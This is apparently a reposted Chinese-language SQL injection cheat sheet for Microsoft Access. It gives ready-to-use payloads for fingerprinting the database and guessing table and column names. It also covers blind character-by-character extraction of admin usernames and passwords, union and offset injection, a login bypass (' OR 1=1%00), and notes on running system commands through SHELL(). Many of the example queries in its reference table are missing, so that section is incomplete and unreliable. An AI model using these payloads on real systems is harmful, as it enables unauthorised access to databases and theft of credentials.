注意:Access只有一个数据库,直接猜解表名即可
判断数据库类型
and (select count(*) from msysobjects)>0 –返回权限不足为access数据库
and (select count(*) from MSysAccessObjects)>0 –返回正确为access数据库
and (select count(*) from sysobjects)>0 –返回正常则为MSSQL数据库
1.函数查询注入(速度快,兼容性不好)
and 1=1 and 1=2 ——判断注入
order by 22 ——猜有多少列(22正确,23错误,则为22个)
猜解表名
and exists(select * from 表名)
猜解列名
and exists (select 列名 from 表名)
猜解用户名和密码长度
and (select top 1 len(列名) from 表名)=X –X代表数字,返回正确代表所猜的列名长度为这个数字
如:
判断用户名的长度是否大于零:and (select top 1 len(username) from admin)>0
判断用户名的长度是否大于四:and (select top 1 len(username) from admin)>4
判断用户名的长度是否大于五:and (select top 1 len(username) from admin)>5
猜解用户和密码的ascii码
–这里应该采用截半法来提高效率。ascii码0-126。
这里我们假设用户为:admin 密码为:admin888,猜出来的ascii码用转换工具转换下就可以的出明文
and(select top 1 asc(mid(username,1,1))from admin)>97
and(select top 1 asc(mid(username,1,1))from admin)=97
and(select top 1 asc(mid(username,2,1))from admin)=100
and(select top 1 asc(mid(username,3,1))from admin)=109
and(select top 1 asc(mid(username,4,1))from admin)=105
and(select top 1 asc(mid(username,5,1))from admin)=110
2.联合查询注入(access无注释符)
order by X –猜字段(X代表数字,返回错误代表数字大,直至反正正确代表有多少字段。)
查表名
union select 1,2,3,4,5,6….from 表名 有多少字段,数字就写到多少,爆字段位置
查列名
union select 1,列名,3,4,5,6 from 表名 爆列名所含的内容,位置在哪里就写在哪里
查字段
在爆出的字段位置填入列名,这里假如为6,8。
构造的语句为:
union selec1,2,3,4,5,username,7,password,9,10,11,12,13,14,15,1617,18 from admin
偏移注入
利用“*”代替admin表内存在的字段
如
1.假设order by 判断字段为18
2.union selec 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from admin
3.
?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,* from admin
?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin
?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,* from admin
当成功是说明admin下为15个字段
一直到返回列名(不一定成功)
2.
偏移注入的基本公式为:
order by 出的字段数减去*号的字段数,然而再用order by的字段数减去2倍刚才得出来的答案
也就是18-15=3
18-3*2=12
最后注入
3.
asp?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,12,a.id,b.id,* from (admin as a inner join admin as b on a.id = b.id)
跨库查询(需要知道另一个数据库聚堆路径和表名还有字段名)
?id=1 union select 1,2,3,password,5,6 from [另一个数据库的绝对路径].需要查询的表
注意在Access中:
描述 | SQL查询及注释 | ||||||||||||
注释符 | Access中没有专门的注释符号.因此"/*", "--"和"#"都没法使用.但是可以使用空字符"NULL"(%00)代替:
|
||||||||||||
语法错误信息 | "[Microsoft][Driver ODBC Microsoft Access]" | ||||||||||||
多句执行 | 不支持. | ||||||||||||
联合查询 | Access支持联合查询,UNION后的FROM关键字必须使用一个已经存在的表名. | ||||||||||||
附属查询 | Access支持附属查询(例如:"TOP 1"用来返回第一行的内容) :
|
||||||||||||
LIMIT支持 | LIMIT不被支持,但是在查询中可以声明"TOP N"来限制返回内容的行数:
|
||||||||||||
让查询返回0行 | 在脚本在返回的HTML结果中只显示第一个查询的结果的时候非常有用:
|
||||||||||||
字符串连接 | 不支持CONCAT()函数. 可以使用"&"或"+"操作来俩接两个字符串.在使用的时侯必须对这两个操作符进行URLencode编码:
|
||||||||||||
子字符串 | MID()函数:
|
||||||||||||
字符串长度 | LEN()函数:
|
||||||||||||
暴WEB路径 | 可以通过对一个不存在的库进行SELECT操作.Access将会回应一条包含有完整路径的错误信息.:
|
||||||||||||
取字符的ASCII值 | ASC()函数:
|
||||||||||||
ASCII值转换为字符 | CHR()函数:
|
||||||||||||
IF语句 | 可以使用IIF()函数. 语法 : IIF(condition, true, false) :
|
||||||||||||
时间接口 | 不存在类似BENCHMARK()或SLEEP()的函数,但是可以使用大量(高负载)的查询来达到这个效果.点击这里查看参考. | ||||||||||||
验证文件是否存在 |
在注入的时候使用:
|
||||||||||||
表名猜解 | 这里有一个简单的猜解access表名的java代码.我写他是为了更好的解释猜解表名的原理:
bruteTableName()的参数是一个名为"Request"的对象(见注释0).这个例子靠 sendInjection() (见注释2)尝试检测查询:
table[i]是表名列表中的一个元素(见注释1). 你能在这篇文章的末尾找到一个小的表名列表.在注释2处, sendInjection()函数返回提交注入代码后的回应html代码.如果resp包含 columnErrorMessage 字符串(见注释3),恭喜你,你找到了一个存在的表. columnErrorMessage 是在UNION查询中使用了和主查询不同的卷数而返回的错误信息.如果表不存在,返回的信息将是表不存在,而不是卷的数目错误. |
||||||||||||
列名猜解 | 需要一个已知的表名和主查询的列的数目:
你可以将上面的例子修改一下(将table改为fieldname),如果表不存在,将会返回一个列不存在的错误信息. |
||||||||||||
绕过登陆 | 用户名: ‘ OR 1=1%00 (or " OR 1=1%00)
密码: (留空) |
||||||||||||
列名枚举 | 按语 : 此原理已经在JBoss(一个使用Access存在漏洞的.jsp脚本)上测试通过 ,但是不敢保证在其他的环境下同样可用.
通常情况下,如果存在SQL注入漏洞,当你在URL参数后加一个"‘"后,你将会得到一些错误信息,例如:
现在你将获得一个新的错误信息,它包含了另一个新的列名.你可以继续像这样枚举其他的表名:
直到获取到所有的表名. |
||||||||||||
与操作系统的交互 |
|||||||||||||
这些函数默认不可用 |
|||||||||||||
安全提示 | 可以通过修改注册表来锁定一些受争议的函数的使用(比如SHELL(),等等...):
它的默认值是2,因此这些函数默认不可用.在下面我将会向你介绍当注册表的值被设置为0的情况. |
||||||||||||
获取当前目录 | 需要一个已知的表名和主查询的列的数目:
|
||||||||||||
执行系统命令 | SHELL()函数可以用来执行系统命令:
|
||||||||||||
Access的系统表 |
|||||||||||||
这些系统表默认不可访问 |
|||||||||||||
MSysAccessXML | 表中包含的列:
|
||||||||||||
MSysACEs | 表中包含的列:
|
||||||||||||
MSysObjects | 这里可以获得表名:
这条查询可以用来获得数据库中的表名:
|
||||||||||||
Access盲注(这些步骤用来猜解表的内容) | |||||||||||||
第一步:猜解表名 | 你可以使用下面提供的字典来猜解表名.注入查询语句:
在提交注入查询语句后,如果你获得的HTML返回和正常页面一样,则表存在.(因为 "AND 1"对查询没有任何影响). |
||||||||||||
第二步: 猜解列名 |
在指导表名的情况下,使用如下查询:
用和第一步同样的方法判断列是否存在. |
||||||||||||
第三步:猜解内容的行数 | 在进一步的行动中,你必须知道表中内容的行数. 它在下面的查询中将被用作"TAB_LEN"变量:
这里的"X" 是大于0的任意值.可以使用老方法来判断"X"的准确值. |
||||||||||||
第四步:猜解内容的长度 |
你能通过以下语句获取"ATTRIB"列的第一行的内容长度:
可以通过以下语句猜解到 "ATTRIB"列中第二行到第TAB_LEN行的内容的长度 (这里N的值在2和TAB_LEN(在前面已经获得)之间) :
"KKK"为大于0的任意值,使用ATTRIB<>‘valueXXX‘的原因是我们必须选择一个特定的行来猜解.我想到的方法是将之前得到的"TOP N"行的值排除掉,然后剩下的行就是正在猜解的行.当然,这里有一个前提"ATTRIB"必须是主键.这里有一个例子:
可以这样获取第一行的所有内容的长度:
然后就可以这样获取第二行的内容的长度(假设A1为表的主键) :
第三行也一样:
很明显,在猜解第一行以后的内容的长度(第2到第TAB_LEN行),你必须得到之前所有行的内容(你需要把它放在WHERE后). |
||||||||||||
第五步:猜解内容 | 假设攻击者已经知道了表和列名,他将使用这样的查询:
"N"是要猜解的行, "XXX"是 "ATTRIBxxx"的第X个字节, "ATT_key"是表的的主键"YYY"是一个0到255之间的数.(它代表着一个字符的ASCII码).这里我们任然要使用前面提到的方法猜解其他行的内容. |
||||||||||||
表名/列名(字典) | |||||||||||||
表名/列名(字典) | 这里是一个小的表/列名样本字典,在猜解中也许用的到:
|
原文:https://www.cnblogs.com/zzhoo/p/12458165.html